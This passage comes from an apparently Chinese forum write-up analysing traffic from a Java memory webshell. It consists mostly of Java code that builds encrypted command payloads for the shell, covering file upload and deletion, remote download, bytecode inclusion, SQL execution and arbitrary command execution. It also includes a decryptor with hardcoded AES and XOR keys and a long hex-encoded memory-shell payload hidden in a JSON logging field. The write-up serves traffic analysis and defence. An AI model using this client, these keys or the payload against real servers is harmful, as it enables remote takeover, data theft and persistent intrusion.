readFile(String session,String fileName){ try{ Map parameterMap = new HashMap(); parameterMap.put("fileName", fileName); parameterMap.put("methodName", "readFile"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("读取文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void newFile(String session,String fileName){ try{ Map parameterMap = new HashMap(); parameterMap.put("fileName", fileName); parameterMap.put("methodName", "newFile"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("新建文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void uploadFile(String session,String fileName,String localFilePath){ try{ Map parameterMap = new HashMap(); parameterMap.put("fileName", fileName); parameterMap.put("fileValue",localFilePath); parameterMap.put("methodName", "uploadFile"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("上传文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void bigFileUpload(String session,String fileName,String localFilePath){ try{ Map parameterMap = new HashMap(); parameterMap.put("fileName", fileName); parameterMap.put("methodName", "bigFileUpload"); parameterMap.put("position",0); parameterMap.put("sessionId",session); parameterMap.put("fileContents",localFilePath); byte\[\] pp = serialize(parameterMap); System.out.println("传大文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void getBasicsInfo(String session){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "getBasicsInfo"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("获取详细信息:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void listFileRoot(String session){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "listFileRoot"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("列出根目录:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void newDir(String session,String dir){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "newDir"); parameterMap.put("dirName", dir); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("新建目录:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void moveFile(String session,String srcFileName,String destFileName){ try{ Map parameterMap = new HashMap(); parameterMap.put("srcFileName", srcFileName); parameterMap.put("destFileName", destFileName); parameterMap.put("methodName", "moveFile"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("移动文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } /\* \* type 有两种选项,fileBasicAttr 获取基础属性,fileTimeAttr 获取时间属性 \* attr RWX 可以这么写或者单个R W X \* \*/ public void setFileAttr(String session,String type,String attr,String fileName){ try{ Map parameterMap = new HashMap(); parameterMap.put("type", type); parameterMap.put("attr", attr); parameterMap.put("fileName", fileName); parameterMap.put("methodName", "setFileAttr"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("设置权限:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void include(String session,String codeName,String binCode){ try{ Map parameterMap = new HashMap(); parameterMap.put("binCode",new String(binCode.getBytes(StandardCharsets.UTF\_8))); parameterMap.put("codeName",codeName); parameterMap.put("methodName", "include"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("包含字节:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void copyFile(String session,String srcFileName,String destFileName){ try{ Map parameterMap = new HashMap(); parameterMap.put("srcFileName", srcFileName); parameterMap.put("destFileName", destFileName); parameterMap.put("methodName", "copyFile"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("复制文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void execSql(String session,String jdbcURL,String dbUsername,String dbPassword,String execType){ try{ Map parameterMap = new HashMap(); parameterMap.put("jdbcURL", jdbcURL); parameterMap.put("dbUsername", dbUsername); parameterMap.put("dbPassword", dbPassword); parameterMap.put("execType", execType); parameterMap.put("methodName", "execSql"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("新建目录:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void bigFileDownload(String session,String fileName,String mode){ try{ Map parameterMap = new HashMap(); parameterMap.put("fileName", fileName); parameterMap.put("mode", "fileSize"); parameterMap.put("methodName", "bigFileDownload"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("复制文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void bigFileDownload(String session,String fileName,String mode,String readByteNum,String position){ try{ Map parameterMap = new HashMap(); parameterMap.put("fileName", fileName); parameterMap.put("mode", mode); parameterMap.put("position", position); parameterMap.put("readByteNum", readByteNum); parameterMap.put("methodName", "bigFileDownload"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("复制文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void getEnv(String session){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "getEnv"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("获取环境变量:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void getLocalIPList(String session){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "getLocalIPList"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("获取IPlist:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void getRealPath(String session){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "getRealPath"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("获取真实路径:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public static void Start() throws IOException { String session = null; String argc1 \= null; String argc2 \= null; int func; PayloadX x \= new PayloadX(); x.test(); Scanner scanner \= new Scanner(System.in); try{ String retu = null; System.out.println("请输入返回流量进行解密"); retu = scanner.nextLine(); encryptReturnBody.ReturnMes(retu); System.out.println("输入Session"); session = scanner.nextLine(); System.out.println("请您输入想要使用的功能\\n" + "1-getBasicsInfo\\n" + "2-getLocalIPList\\n" + "3-getRealPath\\n" + "4-screen\\n" + "5-uploadFile\\n" + "6-bigFileUpload\\n" + "7-fileRemoteDown\\n" + "8-include\\n" + "9-deleteFIle\\n" + "10-getFile\\n" + "11-listFileRoot\\n" + "12-setFileAttr\\n" + "13-newDir\\n" + "14-moveFile\\n" + "15-copyFile\\n" + "16-execSql\\n" + "17-bigFileDownload\\n" + "18-getEnv\\n" + "19-getLocalIPList\\n" + "20-getRealPath\\n" + "21-deleteFile\\n" + "22-execCommand\\n"); while(true){ func = Integer.parseInt(scanner.nextLine()); switch(func){ case 1:{ System.out.println("参数仅为session,获取系统信息"); x.getBasicsInfo(session); break; } case 2:{ System.out.println("参数仅为session,获取IP信息"); x.getLocalIPList(session); break; } case 3:{ System.out.println("参数仅为session,获取当前路径"); x.getRealPath(session); break; } case 4:{ System.out.println("参数仅为session,获取截图"); x.screen(session); break; } case 5:{ String fileName; String localFilePath; System.out.println("参数session,fileName,localFilePath,session,上传到服务器文件名,本地文件内容"); fileName = scanner.nextLine(); localFilePath = scanner.nextLine(); x.uploadFile(session,fileName,new String(Files.readAllBytes(Paths.get(localFilePath)))); break; } case 6:{ System.out.println("bigFileUpload功能暂不完善"); break; } case 7:{ String remoteUrl; String serverPath; System.out.println("参数session,远程url,文件名字,请输入remoteURL,服务器端存储路径"); remoteUrl = scanner.nextLine(); serverPath = scanner.nextLine(); x.fileRemoteDown(session,remoteUrl,serverPath); break; } case 8 :{ System.out.println("暂时有bug"); String codeName; String hexBinCode; System.out.println("参数session,codeName,hexBincode 输入codeName,输入hex bincode"); codeName = scanner.nextLine(); hexBinCode = scanner.nextLine(); x.include(session,codeName,hexBinCode); break; } case 9 :{ String filePath; System.out.println("参数session,filePath,输入filepath"); filePath = scanner.nextLine(); x.deleteFile(session,filePath); break; } case 10:{ String dirName; System.out.println("参数session,dirName,输入dirName"); dirName = scanner.nextLine(); x.getFile(session,dirName); break; } case 11:{ System.out.println("参数session"); x.listFileRoot(session); break; } case 12:{ String type = "fileBasicAttr"; String attr; String dirName; System.out.println("参数session,dirName,attr,请输入attr(RWX都可以),dirName"); attr = scanner.nextLine(); dirName = scanner.nextLine(); x.setFileAttr(session,type,attr,dirName); break; } case 13:{ String dir; System.out.println("参数session,dir,请输入dir"); dir = scanner.nextLine(); x.newDir(session,dir); break; } case 14:{ String destFileName; String srcFileName; System.out.println("参数session,destFIleName,srcFileName,请输入destFIlename,srcFileName"); destFileName = scanner.nextLine(); srcFileName = scanner.nextLine(); x.moveFile(session,srcFileName,destFileName); break; } case 15:{ String srcFileName; String destFileName; System.out.println("参数session,srcFileName,destFileName,请输入srcFileName,destFileName"); srcFileName = scanner.nextLine(); destFileName = scanner.nextLine(); x.copyFile(session,srcFileName,destFileName); break; } case 16:{ String jdbcURL; String dbUsername; String execType = "select"; String dbPassword; System.out.println("参数session,jdbcURL,dbUsername,dbPassword,exectype,请输入 jdbcurl,dbusername,dbpassword"); jdbcURL = scanner.nextLine(); dbUsername = scanner.nextLine(); dbPassword = scanner.nextLine(); x.execSql(session,jdbcURL,dbUsername,dbPassword,execType); break; } case 17:{ //x.bigFileDownload(); break; } case 18:{ System.out.println("参数session,获取env"); x.getEnv(session); break; } case 19:{ System.out.println("参数session,获取iplist"); x.getLocalIPList(session); break; } case 20:{ System.out.println("参数session,获取realpath"); x.getRealPath(session); break; } case 21:{ String fileName; System.out.println("deleteFile,参数session,远程的文件,输入删除的路径文件"); fileName = scanner.nextLine(); x.deleteFile(session,fileName); break; } case 22:{ String cmd; System.out.println("execCommand 参数session,cmd,请输入cmd"); cmd = scanner.nextLine(); x.execCommand(session,cmd); break; } default:{ System.out.println("输入错误"); break; } } System.out.println("请输入返回流量进行解密"); retu = scanner.nextLine(); encryptReturnBody.ReturnMes(retu); System.out.println("请继续选择功能"); } }catch (Exception e){ System.out.println(e); } //x.execCommand(session,cmd); //String cmd = ""; //cmd = scanner.nextLine(); //x.fileRemoteDown(session); } } ``` ### 2.3.2 解密端脚本 用来对密文进行解密 ```php package com.company; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths; import java.nio.file.StandardOpenOption; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Scanner; import java.util.zip.GZIPInputStream; public class EncryptReturnBody { /\*\* \* 加密 \* \* @param \* @return \*/ public static byte\[\] encrypt2(byte\[\] byteContent) { try { SecretKeySpec key \= new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"); Cipher cipher \= Cipher.getInstance("AES");//AES/ECB/NoPadding // byte\[\] byteContent = content.getBytes("utf-8"); cipher.init(Cipher.ENCRYPT\_MODE, key);// 初始化 byte\[\] result \= cipher.doFinal(byteContent); return result; // 加密 } catch (Exception e){ e.printStackTrace(); } return null; } /\*\* \* base64解密,目测是魔改的base \*/ public static byte\[\] base64Encode(byte\[\] bytes) { byte\[\] value = null; try { Class<?> base64 \= Class.forName("java.util.Base64"); Object Encoder \= base64.getMethod("getEncoder", null).invoke(base64, null); value = (byte\[\]) Encoder.getClass().getMethod("encode", new Class\[\]{byte\[\].class}).invoke(Encoder, new Object\[\]{bytes}); } catch (Exception exception) { try { Class<?> base64 \= Class.forName("sun.misc.BASE64Encoder"); Object Encoder \= base64.newInstance(); value = ((String) Encoder.getClass().getMethod("encode", new Class\[\]{byte\[\].class}).invoke(Encoder, new Object\[\]{bytes})).getBytes(); } catch (Exception exception1) { } } return value; } public static byte\[\] base64Decode(byte\[\] bytes) { byte\[\] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte\[\]) decoder.getClass().getMethod("decode", new Class\[\]{byte\[\].class}).invoke(decoder, new Object\[\]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte\[\]) decoder.getClass().getMethod("decodeBuffer", new Class\[\]{String.class}).invoke(decoder, new Object\[\]{new String(bytes)}); } catch (Exception exception1) { } } return value; } /\*\*将二进制转换成16进制 \* @param buf \* @return \*/ public static String parseByte2HexStr(byte buf\[\]) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf\[i\] & 0xFF); if (hex.length() == 1) { hex = '0' \+ hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } public static byte\[\] xor(byte\[\] data) { byte\[\] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) { index = i - 1; data\[index\] = (byte) (data\[index\] ^ key\[i % keyLen\]); i++; } return data; } public static byte\[\] unHex(byte\[\] data) { int len; byte\[\] out; int i; int j; for (len = data.length, out = new byte\[len / 2\], i = 0, j = 0; j < len; ) { int f = Character.digit(data\[j++\], 16) << 4; f |= Character.digit(data\[j++\], 16); out\[i\] = (byte) (f & 0xFF); i++; } return out; } public static HashMap deserialize(byte\[\] var1, boolean gzipFlag) { HashMap var3 = new HashMap(); ByteArrayInputStream var4 = new ByteArrayInputStream(var1); ByteArrayOutputStream var5 = new ByteArrayOutputStream(); byte\[\] var6 = new byte\[4\]; try { Object var7 = var4; if (gzipFlag) { var7 = new GZIPInputStream(var4); } while(true) { byte var8 = (byte)((InputStream)var7).read(); if (var8 == -1) { break; } if (var8 == 1) { ((InputStream)var7).read(var6); int var9 = bytesToInt(var6); String var10 = var5.toString(); var3.put(var10, deserialize(readInputStream((InputStream)var7, var9), false)); var5.reset(); } else if (var8 == 2) { ((InputStream)var7).read(var6); int var12 = bytesToInt(var6); String var13 = var5.toString(); var3.put(var13, readInputStream((InputStream)var7, var12)); var5.reset(); } else { var5.write(var8); } } } catch (Exception var11) { } return var3; } private static byte\[\] readInputStream(InputStream var1, int var2) { byte\[\] var3 = new byte\[var2\]; int var4 = 0; try { while((var4 = var4 + var1.read(var3, var4, var3.length - var4)) < var3.length) { } } catch (IOException var5) { } return var3; } public static int bytesToInt(byte\[\] var0) { return var0\[0\] & 0xFF | (var0\[1\] & 0xFF) << 8 | (var0\[2\] & 0xFF) << 16 | (var0\[3\] & 0xFF) << 24; } public static void DehashMap (HashMap hashMap) { Iterator it = hashMap.entrySet().iterator(); while (it.hasNext()) { Map.Entry entry = (Map.Entry) it.next(); Object val = entry.getValue(); Object key = entry.getKey(); if (val instanceof HashMap) { DehashMap((HashMap) val); }else if (key instanceof HashMap) { DehashMap((HashMap) key); }else{ System.out.print(entry.getKey() + ":" \+ new String((byte\[\]) entry.getValue()) +"\\n"); } } } public static void ReturnMes(String message) throws IOException { message = message.substring(9); HashMap var3; byte\[\] bb = base64Decode(message.getBytes()); byte\[\] responsedata = xor(bb); System.out.println("没有打入内存马的流量为:"); System.out.println(parseByte2HexStr(responsedata)); byte\[\] result = uncompress(responsedata); try { System.out.println("反序列化开始"); var3 = deserialize(result, false); if(var3 != null) { String rerereresu = null; EncryptReturnBody encryptReturnBody = new EncryptReturnBody(); encryptReturnBody.DehashMap(var3); // Iterator iter = var3.entrySet().iterator(); // while (iter.hasNext()) { // Map.Entry entry = (Map.Entry) iter.next(); // Object key = entry.getKey(); // Object value = entry.getValue(); // Object key = // String values = (value instanceof byte\[\]) ? new String((byte\[\]) value) : value.toString(); // System.out.println(key + ":" + values); // rerereresu += (key + ":" + values); // } }else{ System.out.println(uncompress(responsedata)); } //System.out.println(rerereresu); //System.out.println("打入内存马后:"); String result1 = new String(result,"GBK"); System.out.println("返回内容为:"+result1); //System.out.println(filter(result1)); Files.write(Paths.get("./1.png"),result); Files.write(Paths.get("./返回流量"),result1.getBytes(StandardCharsets.UTF\_8),StandardOpenOption.APPEND); Files.write(Paths.get("./返回流量"),"\\n".getBytes(),StandardOpenOption.APPEND); }catch (Exception e){ System.out.println(e); Files.write(Paths.get("./返回流量"),result,StandardOpenOption.APPEND); Files.write(Paths.get("./返回流量"),"\\n".getBytes(),StandardOpenOption.APPEND); Files.write(Paths.get("./1.png"),result); } // Files.write(Paths.get("./1"),result); // System.out.println(new String(bb)); // System.out.println(new String(xor(bb))); } public static String filter(String content){ if (content != null && content.length() > 0) { char\[\] contentCharArr = content.toCharArray(); for (int i = 0; i < contentCharArr.length; i++) { if (contentCharArr\[i\] < 0x20 || contentCharArr\[i\] == 0x7F) { contentCharArr\[i\] = 0x20; } } return new String(contentCharArr); } return ""; } public static String hexToAscii(String hexStr) { StringBuilder output = new StringBuilder(""); for (int i = 0; i < hexStr.length(); i += 2) { String str = hexStr.substring(i, i + 2); output.append((char) Integer.parseInt(str, 16)); } return output.toString(); } public static byte\[\] uncompress(byte\[\] bytes) { if (bytes == null || bytes.length == 0) { return null; } ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayInputStream in = new ByteArrayInputStream(bytes); try { GZIPInputStream ungzip = new GZIPInputStream(in); byte\[\] buffer = new byte\[256\]; int n; while ((n = ungzip.read(buffer)) >= 0) { out.write(buffer, 0, n); } } catch (Exception e) { e.printStackTrace(); } return out.toByteArray(); } public static String convertStringToHex(String str) { char\[\] chars \= str.toCharArray(); StringBuffer hex \= new StringBuffer(); for(int i = 0; i < chars.length; i++) { hex.append(Integer.toHexString((int) chars\[i\])); } return hex.toString(); } public static String convertHexToString(String hex) { StringBuilder sb \= new StringBuilder(); StringBuilder temp \= new StringBuilder(); for(int i = 0; i < hex.length() - 1; i += 2) { String output \= hex.substring(i, (i + 2)); int decimal \= Integer.parseInt(output, 16); sb.append((char) decimal); temp.append(decimal); } // System.out.println("Decimal : " + temp.toString()); return sb.toString(); } } ``` 0x03 附录 ======= 因为wireshark太卡了,我切换了科来,用惯了还可以 <https://www.colasoft.com.cn/download/capsa.php> ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-560fa3fb1489d9f78fbad0ff4cbf07b7d54f4a30.png) 在流量中,她重新发送了一个字节码/内存马 3.1 新的内存马 --------- 在流量的挖掘中,进一步发现了,新的内存马 ```php {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"4185330a9e6684959ca14153ebb2bf603cb68867e08548f8a49d5740865db8ad7ee4c687803a94df9fbdc5e289c05860585ad7644d60f28b9f05ab580ba41389202a44761bb2f7df6ec8a9bce967a3ebca00ed48d5144b81c945a37c5eaa8faa83e6d382701b0fe53b03a15c426a3940ef08489117833793d6e843f9fa5969557f92cf2759672b3507e301fddba98d451858000bd0576a949d5bd618a4a506cf2c1d77c03160aeda6e15dea50598eb2ef6d85d1d62cb8695ee312930896e4718b3eaa2a93a9b40f445c1eeeeec7eca5213cba64fa87018b82c33f9121722d983637c0eb0ac7ed86cf908c92e672ecc6bbbc579fc3df2945257498bb318eb101ea2721d56c40b74296e2d40f27765c32e7143e01dc13d417bb31ad03448f60289af7c681114fea5b6081bcfdaa635e8d0ee1eaa84a39f14a061358f6ad0cc64f64b983f87c551ad7a74abd07de4cfe466ea645f6d293be7c0d0e7f8dec3a4dc2d04d860d0e1b9b6a74e3c8b3fa012345ba1c475e32dd8ec43f361b370366597cd0c573166e0b305eaed560a70bb20618e7b15286822c36bc5327ebc89bce03165b3ac5a7b7aa56422c240874fda6be6cb21e0d2feeeb6c9a341b46697bef5a8f0f5f314876eb6228de66526117558ec45e02df595efec10a56e12c06722bbecd29dfe761f79073c6a209fb89a3a4674b79e53db1d345e065fb58318973d6eefb8518b1d197577675e067dfb6e7ab44a72600cf761299d473752d14c1afd70ce0551f05860a3774a09dd3324815d364b9366e1e1e55b547be0c9f4f9b15c6c3883ee187431ffbb3a9b0d8c9b9977a1e3aece48cc8a21b43c032542f393ee7667f778b04dff823e70813589e06bdf9b4ff88309b59a8e738d88fdb23bf0f542e9e8b32bbd6b07971212b043d3740927a5204232f93046d66207a86e6ad964ff8e947c857e22ad0979dce02b0bde140fa2f49604fca48d3576b88e6691360089ad4c4fbf0ce969757447e1d616066bc75135fa59e27bde6629bb43fd4cecf3970d4989d4f0bda252ecede59b1f2ca4791d136fd7dbc7c2bdba8215d4bb4ffcc4533b1d7ebfb4d22e15baf8ba277c54080711c314adb921067aa7162d34ce9b7a37d5b94ee4ae9325aa2beeebd990da033ebeafc9b9b2195e350f90baeead72a8132f3970804a3e70fe1e24c15cf097f71351a736c6bd76155535f8529b297e84b04c3fe4b0ea4625f6875d00872ddec9a69f87aa53d3256a69d05d47cb37302d49dabe722a9e26d49d55814659c8fc2f5509c004b4b6e1789228076eac8fdd53dc8574bab22a4f60fe16d37c227475425e9a9fd02486fab5a36bbc3db447b38fe9f94d4ef7b3cc155f068e0c0d35e0ad763b921827674dbfde980c0766c3799a82202620b06bd8fe66d88a0833d061607d50bb0de9f0d10d3eb2e937f6bf9331a41fb2258a50cdae25c113593a6b91afb3cb42b37d3e8e02538350743690895661ec3be580931d70d250ebe3c2e0243730693b0b16b63beec3990970994b8e374e55d2f29db1fbf2d5ffc6a83e6b995ca33ad8cac2a879be0e7566c02f1d22a2a8a357a3580271f15e8f7182d158972019ad51533c777054d90c8e8a29dd026f77c01d5960c6bbe15aafd517abf1b7501a09da95f8796f2fd0247c3fbc4a8abb539e2acc5154ad741412cbcba03a33ced5d345669e10b90674bbd5497dccc829a9567df055e00408ca96cd8aacca4064917b1913279f67d25f61b357ba55b8ebfa2583bd500735f9bcab6d35868e2a9f2255818c9ec550a9ac50c3e397ccc2d9211954a2166d09de389bed191af913d40e2e7249cdcc24337060c80e643164484c3430bc8b1383c34bdc610833d8e2c048ea7c99605b8ec4581f286260b3221b2016547c07b54487315f4a026420f81e3e95b399c876f6d4f2a493f8e078421a52f3edd9dfe15afd278dee26cea6ead4ba96a89dc6ab9ffd8d374ecc4c7f517b2612d0ceef638344e3a4ae4906cc8e46d30e6f4edc6711d3cfb6841cca223164b739e12dd226454f6ed9574ada1d33631a5e7064300fe8a620155e79b7f6e11abd658bc30ed52361a5730c12a639b3ca29062efbaceb350953c927ffb57421fdb66b8bc30ed52361a5730c12a639b3ca2906307d1d39f630b0ce760e0ae2c5b60da262df4707e252171d3a7b328290a67c83b9f110070aee503b88ad2c465db94c7069795550cfb2aa200753f69702aa4a7055b024214ad5df4d5e60b457ccfac45ca5f529731ca37f3eb203191a65e0ebbe19a99d109496aa0f3521a75a3f69b8b91de7e2d46139a1154a0781ca89883ffd274f523c65cc463d6f1fc1b8269cba6fed697693513238ffbedff78af8bdd02848cb5aaf9c1cd67ba1acae9eafee634fd3a1fca43be86ad049b82283dcb46b5ecec0167a26980834ed0a6e7fc1a7137690911c14555c0e0318a5c9084b4b380a849fd4a5cca28c8cbef495417a6677893be580931d70d250ebe3c2e024373069be4de701e0c8b245a1ee8bae582809cc5b59e06be1031f1378f8a902a5e6b7ef1e4b9344b9271138d32af35918b869450d77ea7a3b4480332ccf428dd8ef5b7efd3c8ffef09fec06800ed6ca8749e47e8ddf007d5a115e238f436fa881e36868dde7b2691f8e7d927debe3f01b047670ec28ec8576bb55c889dcfb6c8e4e250785b8fa96108189540725d34d8905d1cd72bf098421422a43e1ef6969368c03f172aa1b03c9c7b8ae2d462e4e1e10b48e5ac305d5a70380b335d093426e9b51769e182790451ccdbf8a24d3474cbe577a0c4b672fb50f24562120e8233249bb749404532f168f31def0aebb8152d8330187fcfa686f1ca8562557047efe43dc542c1d77c03160aeda6e15dea50598eb2e42a74ebf8e543589ec0a6dfb47d436b6c00a31a4e23525fba26b6a9a8828c91adfc76a5446a367d265b723ab35432bd9ed1cdc5803373b871a82c92c3574d3468b3d6f4581a732e542e63042ffb009bb1cf33a6bec737fc5ecd91c59ca74e189990e94a515dd92829c66c0282b1296031bfa7cf9f0b4ce10f318dac38803ad4e5e37836c41314605dad0f100f48c540b001086a0e7daae03350e89a1d46d69c76b5a98fec61240a525ff6c483f7cc96cbd7e898ebab71c4a2e1c7a1aa6c89a7efdf55557dca7e663961f9e2502a8cdfe7922818d66b542f5f2e7a1d83331b40edb7f1de75061fe24b2067bd7a965bcd1f7c3e1d1a47f3e43ef6715cfa2bae6f0384ba1142cd6c9786e4a5061459a52d2b64edefbff37f5ce216448277dab4cf89569d5f351ded71e063c67898e40a2366b06c1d3dfd658485f71defddbd3d5b85e51aef04921ff80f030980669b13ccbd40316ec35e158d983cc37dd567fbd3a28a0c63ea7828cb0323d730aee68a0ec4005317a9b2146bfe0b682dd244e6267ddff1d227ce71fe677819a2107246e5500edb8ef653e20a9041065ed1b5dbce58ba85c9fdad45957ad326589849d982e389a086f2b5f22c5a2a1a23e4312c121c96a4005a70545bdac9a4bbd9f5827c12c06511a7819133b2d2477b6db12f7f4dd9729fa95ece70417e79461d38645cd3c2ace3dae14b6738fe1844dd430969543404c8355c6b88c27e2cd2735ccaff37cd12c34ea6994fc7f826519fdaf2b2a5a9cacf0aadd72026b350aef04b165f2778f295fdbc622f3265211cac3c9fc14fb5e49b8d7025114df279ad03ea3ce79b1e03927f8ff46ca5c96edc9412b11d161c7737a1cf9c4658bb04db4cb313248f5354e0d8b231b824cca78886e4162a5ae9720eb9a3e25d490c90ff1a25c51d89b920088a1fabca4fe0fa72380396456feab046d069bf5858782c1ab7f9df68560e48f7642e9d4865397f6b1ee0775ffea9fc0e41b6684fb71ef665fab1170abb184b5faf4b0ef3a3c48561fbd857c423b8cf063dd8f0fbf9928a9234e4cbd355d98c86a71be5ea834b07938559251453969e22d47896e5fffb3881b64fd0edc1f6d0780dbda020ee23cb93d8f4915ccd537bac95bf9fa58ce70d2b566f2fc38a5297c067ea709bb21688cc6070b86f2fd9c8d0e69df7307b66f66f1d964004b56ab906b225b78249feaa4ca7d0e2281adc14b94ae071724d67bc151a049376e13169ca254a53bebc4f6fa7a070c8d33b01f78ef2cc792713ecc8b31db3cf9657e6f824ea3e62781be3439e8f2f467264e786977956bc8eb8aa0410ec4c2e92866cfa7daf4489c03941f76b97f58957a91432e56ce0c8312feca034775cc360c712a44b66a1ff6d9427f6b462bf5877ec82d19828a28d4304a1f75542afa4cd01d3335fd7f54a2497c000892f2edd61cf8cf6b831335dda677d40d5416c717f953cd03fdf8b3b97d4330787bae19161353ae6d56fb748d8c8fb75864701f37f14704f6ae504a4341feec90f98414c5183be580931d70d250ebe3c2e02437306941f38a635d4fccd63c1a986f783324aee1be23d3dba595837634c9756370204374eb14d3dc5abfa8f20085ce695e6b4afe20f595ddc7d7ef1752a2b51f217acc1f6ef9c2bf1a2b39830b793782ebe7d49d4640e8e5cd7ce4e177e419409532bb3fe4b0ea4625f6875d00872ddec9a69fdb226771f7f6a17628968f462f16d213dbae293f17d4ba43aa47a2abb2b82bdc5406f58b0b1871ca99b057d27961ded01927f24b73228d20a7b8434713ac7654118792b5f2a3e2b015448d85a3ebba4219dfb91ba8b3f2f25c1b3950b0b596bac6f80e0bd7204fee345653d5a6be81df69795550cfb2aa200753f69702aa4a70cfb9f4b624bf952d20e93f640fee64413b7b94a9ab89e6dccf32c9cb0f93c2b4d1870fc145ad68371287781b56fad23bebdb885c3fe78c475aeb69af6f658ae914957e11dcf00aad39a6f5b645836624598efe0398b9a4e494a575e86eee0c3e31e3601c5bd6291a955bb917310b15916670ad67a330324162da31e138c926ae7fe3bf5fedf7e71233f75db5b70f1f7941ce93dafd21ae94a7501af83873c50229411e9bfd3531958833257b8cbdfc2f9f36c21aecc13a9d95e1ad07b45e5234dfa72850035463ee36528f1c9290784ee26833fee11a527c5b70d61ff7c220083282e7a1c3d97b0fe6566e176503030d1059445631c5a77b5766896fb0fa84bfac8a051c49653f6fe38ce681cdb81e53931e6373143958bc83647a44c1d1e67d6534f8e8e371f57f5bc11131c9fcd6f096523a2ad3444f890a779c8a2bd0e894ecc9e12a4e22719ab2f7ccb6f3b3e30328f689b32582bd3c64520f823788f2ecef65af804be8fd622d29961f681f2c91c2deefcf789346b812711949f1c092f19b569c4a04a6f6c8ad1e4b4bc47c2b2237bc93eb221a552e171573143eb36e27de9fa33e7ec94ade8762d2fbce59096170475bd0339161d305e0fcef615caeec8ff69de8e4868733721e28ca55847007b12fab0020aa4b148d5937bebdf17d4c10ec055ad1f2b031039028329be4ce5add7d6cd77887d4e9af1201c12e9a27cc64db857f49345f28fd6bc680fea95845a100c02645af06541eece0f4c342cee4f2a90eb8bca9dd31e14f8e7cf4dca60d978c63c921a7911cad1a6daff744bccb612283acb705defb2a5c3cca6744f93130ea32334a71b23578c45d844dd7ae90c4ac252b9487e354384352ca12f09056bfdfdf39b7b4e3a98e8c900a8b6d85be2cf329abaa5450f0b235d624e0aae1a8f19af5bebb5ae7d7f9ccb895fcbf5889a97f7341e4e47bb941a034d00b28f6b3e4425f93151db1aba7a2abb8c7a01307bb4a88f3c27f5d09aeba01d3b3e0acb746b0de6eae287b7b3f7f41f507721dc5737bce02d2df6fa4686ee77765a2a63d3d7c19eb4fbc50bad9bfd0f244f19176e345df36967bd14effd4104981b846c23c6d85415c865025adb1db1778147363b1d6ffe7b016fa61204718f06bbde2cfdb499c292105d81bcc25b2d08f245801ff59df25dfb42a9d0c2e25a93443e14f8bc30ed52361a5730c12a639b3ca290